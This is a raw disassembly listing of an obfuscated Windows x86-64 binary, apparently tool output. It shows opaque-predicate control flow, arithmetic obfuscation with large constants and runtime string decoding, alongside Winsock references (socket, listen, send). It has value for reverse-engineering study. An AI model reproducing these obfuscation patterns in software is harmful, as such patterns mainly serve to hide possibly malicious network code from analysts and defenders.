mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007afc4
movabs rcx, 0x227a4a1f240ebe02
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b440
movabs rdx, 0xd3a5acc99e3d0ad8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b470
movabs rdx, 0x94952eeb99954850
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14007b54b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b49c
movabs rcx, 0x5584b10d94ed85c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14007b74a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007b4ca
movabs rdx, 0x35fc721e9299a484
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b71e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007af73
movabs rdx, 0x1674332f9045c340
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0x9853377386f63e30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xbf8]
sub r11b, al
sub r11b, 0x50
add r11b, bl
jmp 0x14007b71e
movabs rcx, 0x78caf88484a25cec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x74]
movabs rdx, 0x6906d90d03786c4a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 6
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xbf8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14007b5d4
movabs rcx, 0x991f34cb529c5752
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
movabs rdx, 0xb8a773ba54f03896
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1a
add r11b, dl
movabs rdx, 0x5942b995824e7ba8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xbf8], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
movabs rdx, 0xf7b7f1985997fb1e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007aa52
movabs rcx, 0x5650ae6560939eea
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x66
dec rdi
inc rdi
jmp 0x14007aa52
movabs rcx, 0x75d8ed5462e7802e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x42
inc r9
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0x95612c43653b6172
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, dl
movabs rdx, 0xa81756eb08202ed2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xbf8], cl
inc r9
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0x330a66ee70dec7c6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6a
add r11b, dl
movabs rdx, 0x888f17fc05cc4d8e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xbf8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007aa52
movabs rdx, 0xd0b3a1997c822e1a
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
movabs rdx, 0xcf1ba6e9e535fbd6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007aa4e
movabs rdx, 0xeea3e5d8e789dd1a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007aa3f
lea rcx, [rbp + 0x1525f20]
jmp 0x14007b805
lea rcx, [rbp + 0x686e7e]
jmp 0x14007b805
lea rcx, [rbp + 0xbf8]
xor r8d, r8d
mov rdx, r15
call fcn.140036350
test al, al
je 0x14007b868
xor ebx, ebx
nop word [rax + rax]
mov edi, dword [r14]
cmp edi, ebx
sete dl
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x54], 0
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003dbf0
test al, al
je 0x14007b84f
mov dword [r14], ebx
cmp edi, ebx
jne 0x14007b858
call fcn.140014240
inc ebx
add rsi, 8
cmp ebx, 4
jl 0x14007b820
call fcn.1400184e0
mov byte [rbp + 0xc20], reloc.WS2_32.dll_listen
mov byte [rbp + 0xc21], 0xf2
mov byte [rbp + 0xc22], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc23], 8
mov byte [rbp + 0xc24], 0x62
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc25], xmm0
mov qword [rbp + 0xc35], rax
mov dword [rbp + 0xc3d], eax
mov word [rbp + 0xc41], ax
movabs rdi, 0xfa3414034935e2a5
movabs rsi, 0xcd7116c06aadcffb
movabs r15, 0x613f6eaad2b96c51
movabs r14, 0xaf2396ac53af759
movabs r12, 0x48735c151fc81eb7
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007c668
movzx r11d, byte [rbp + rbx + 0xc20]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007c65f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007b94c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x37
jmp 0x14007b980
je 0x14007c5da
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007c543
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c516
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007c4c2
nop dword [rax]
cmp r9, rbx
ja 0x14007c656
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14007b9ad
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x14007b9f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007c4a1
inc rax
cmp r8, rax
je 0x14007c474
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007c43d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c409
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007c3d4
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007c055
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007c02c
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007bfff
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007bfd5
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007bfb2
lea rcx, [r9 + 5]
cmp r8, rcx
je 0x14007bf8e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007bf55
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007bf31
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007bf08
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007bed3
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007ba00
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14007c632
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x14007c60e
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14007bbed
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x14007bbd2
lea rcx, [r9 + 6]
cmp r8, rcx
jb 0x14007bbb7
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007be71
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007be0f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007bdbd
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007bd8e
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007ba00
mov r8, rcx
lea r9, [rcx + 5]
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x14007bd54
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14007bd30
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x14007bd07
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14007bcce
lea rcx, [r9 + 8]
cmp r8, rcx
ja 0x14007bcaa
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007bc87
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007bc5d
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007bc2b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007bc07
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007ba00
mov r8, rcx
lea r9, [rcx + 6]
jmp 0x14007ba00
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x14007b9f0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x14007b980
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
jmp 0x14007b915
movabs rcx, 0xd1a0a01a49af1528
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x14007c4e1
movabs rdx, 0xf21c2c4a43c3c86
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007b902
movabs rcx, 0x4ca2e56efec963e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
dec rbx
inc rbx
jmp 0x14007b902
movabs rdx, 0x8a24081959568b42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007c37c
movabs rcx, 0xc7a52ac3b3e3b2a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14007c45c
movabs rdx, 0x5264d6e0e70d9fe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b902
movabs rdx, 0x42a7701868fe015c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c564
movabs rcx, 0x802892c2c38b28ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x14007c594
movabs rdx, 0xbda9b56d1e185018
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
movabs rcx, 0xd76c8c1700793283
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
mov byte [rbp + rbx + 0xc20], r10b
inc rbx
jmp 0x14007b902
movabs rcx, 0x14edaec15b0659e1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
cmp r9, 0x200
jb 0x14007bdad
movabs rcx, 0xbf46180ff5e12846
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14007c4e1
movabs rcx, 0x526ed16bb593813f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
cmp r8, 0x80
jae 0x14007c357
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14007c259
movabs rdx, 0x265172b77f64b1f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007bddc
movabs rdx, 0x8feff4161020a89d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14007c3ae
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14007c156
movabs rcx, 0x2c1d5eb4362ecf4d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
jmp 0x14007be2e
movabs rcx, 0xdd387813b7434fde
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
movabs rdx, 0x1ab99abe11d0773c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c594
movabs rcx, 0x583abd686c5d9e9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x14007c564
movabs rdx, 0x95bbe012c6eac5f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b902
movabs rcx, 0xd33d02bd2177ed56
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14007c45c
movabs rdx, 0x10be25677c0514b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007c37c
movabs rcx, 0x4e3f4811d6923c12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
dec rbx
inc rbx
jmp 0x14007b902
movabs rcx, 0x8bc06abc311f6370
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x14007b902
movabs rdx, 0xc9418d668bac8ace
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c4e1
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007c079
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x14007be94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c0b7
movabs rcx, 0xf4682806926bc54a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
inc rax
cmp r8, rax
jne 0x14007c0e8
movabs rdx, 0x7965e2b1dd51768e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c564
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007c11a
movabs rdx, 0xfe639d5d283727d2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c45c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007be94
movabs rdx, 0x83615808731cd916
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007b902
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c183
movabs rcx, 0xee9c3c09dba1a7ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
jmp 0x14007c4e1
inc rax
cmp r8, rax
jne 0x14007c1b8
movabs rcx, 0xb11b195f81148091
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
inc r9
dec rbx
inc rbx
jmp 0x14007b902
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007c1eb
movabs rcx, 0x7399f6b526875933
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
dec rbx
inc rbx
jmp 0x14007b902
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c228
movabs rcx, 0xbb168eb616dfe319
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b902
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007be2e
movabs rcx, 0x7d956c0bbc52bbbb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
jmp 0x14007c564
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c298
movabs rcx, 0xe8d0500d24d78a94
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xc
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c2ca
movabs rdx, 0x6dce0ab86fbd3bd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c564
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007c2fc
movabs rdx, 0xf2cbc563baa2ed1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c45c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007c326
movabs rcx, 0xb54aa2b96015c5be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x14007c382
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007bddc
movabs rcx, 0xfcc73aba506e4fa4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x14007c4e1
movabs rdx, 0x81c4f5659b5400e8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xc20]
sub r10b, al
sub r10b, 0x58
add r10b, dl
add r10b, r11b
movabs rcx, 0xe30464106e0d6d39
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x71
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xc20], cl
jmp 0x14007c45c
movabs rdx, 0x4443d2bb40c6d98a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14007c564
movabs rcx, 0xd0a9dc061a3f8057
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
movabs rcx, 0x892d440529e6f671
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b902
movabs rcx, 0xc6ae66af84741dcf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b902
movabs rcx, 0x7f31ceae941b93e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
inc r9
dec rbx
inc rbx
jmp 0x14007b902
movabs rcx, 0xbcb2f158eea8bb47
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
jmp 0x14007c4e1
movabs rcx, 0x37b536ada3c30a03
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
movabs rcx, 0x208586bac89a9497
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x21
add r11b, cl
mov byte [rbp + rbx + 0xc20], r11b
inc r9
dec rbx
inc rbx
jmp 0x14007b902
movabs rcx, 0x75365957fe503161
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x59
inc r9
dec rbx
inc rbx
jmp 0x14007b902
mov r11, rdx
movabs rcx, 0xa8bc06abc311f637
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x7f
movabs rcx, 0xa5834166138045db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 3
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xc20], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x6c2b010e639b22c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x34
add cl, r11b
mov byte [rbp + rbx + 0xc20], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
movabs rcx, 0x23be4c00782c44f3
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x5b
movzx eax, byte [rbp + rbx + 0xc20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b902
movabs rcx, 0x85f47ebf7a554615
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x14007b900
movabs rcx, 0xc375a169d4e26d73
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x14007b8f0
lea rsi, [rbp + 0x154d28c]
jmp 0x14007c66f
lea rsi, [rbp + 0x8e3edd]
jmp 0x14007c66f
lea rsi, [rbp + 0xc20]
lea rdx, [0x14021ad30]
lea rcx, [rbp + 0x560]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x120]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rdi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0xc48], 0x9b
mov byte [rbp + 0xc49], 0xf6
mov byte [rbp + 0xc4a], 0xf5
mov byte [rbp + 0xc4b], 0xf2
mov byte [rbp + 0xc4c], 0xfe
mov byte [rbp + 0xc4d], Ordinal_143
mov byte [rbp + 0xc4e], 0xf7
mov byte [rbp + 0xc4f], 0xfd
mov byte [rbp + 0xc50], 0x87
mov byte [rbp + 0xc51], WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc52], xmm0
mov qword [rbp + 0xc62], rax
mov byte [rbp + 0xc6a], al
movabs r14, 0xdd56b483acace985
movabs r15, 0x57870c5b5e90e51b
movabs r12, 0x2a11138bc80685b9
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor r11d, r11d
movabs rcx, 0x16bafc67cb452fb1
cmp r11, 0x23
jae 0x14007d53f
movzx ebx, byte [rbp + r11 + 0xc48]
mov rdx, rbx
cmp r8, r11
ja 0x14007d536
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007c79e
add rcx, r11
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x29
jmp 0x14007c7e5
je 0x14007d4b2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007d418
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007d3e2
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007d3b9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d38d
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007d33e
cmp r9, r11
ja 0x14007d52d
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14007c80e
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x5d
jmp 0x14007c850
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007d31e
inc rax
cmp r8, rax
je 0x14007d2f3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d2c0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007d29d
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007d268
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14007ce9f
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007ce7c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007ce50
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007ce22
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007cdff
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007cddc
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007cda4
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007cd7d
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007cd5a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007cd20
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c860
lea r8, [r9 + 0x200]
lea r9, [r8 + 6]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007d50a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007d4e7
lea rax, [r9 + 1]
cmp r8, rax
